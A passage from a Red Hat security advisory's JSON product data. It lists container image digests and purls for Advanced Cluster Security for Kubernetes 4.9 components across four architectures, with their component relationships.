"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3A3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3A4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8\u0026tag=1779371594"
}
}
}
],
"category": "architecture",
"name": "s390x"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le as a component of Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le"
},
"product_reference": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"relates_to_product_reference": "Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"category": "default_component_of",
"full_product_name": {
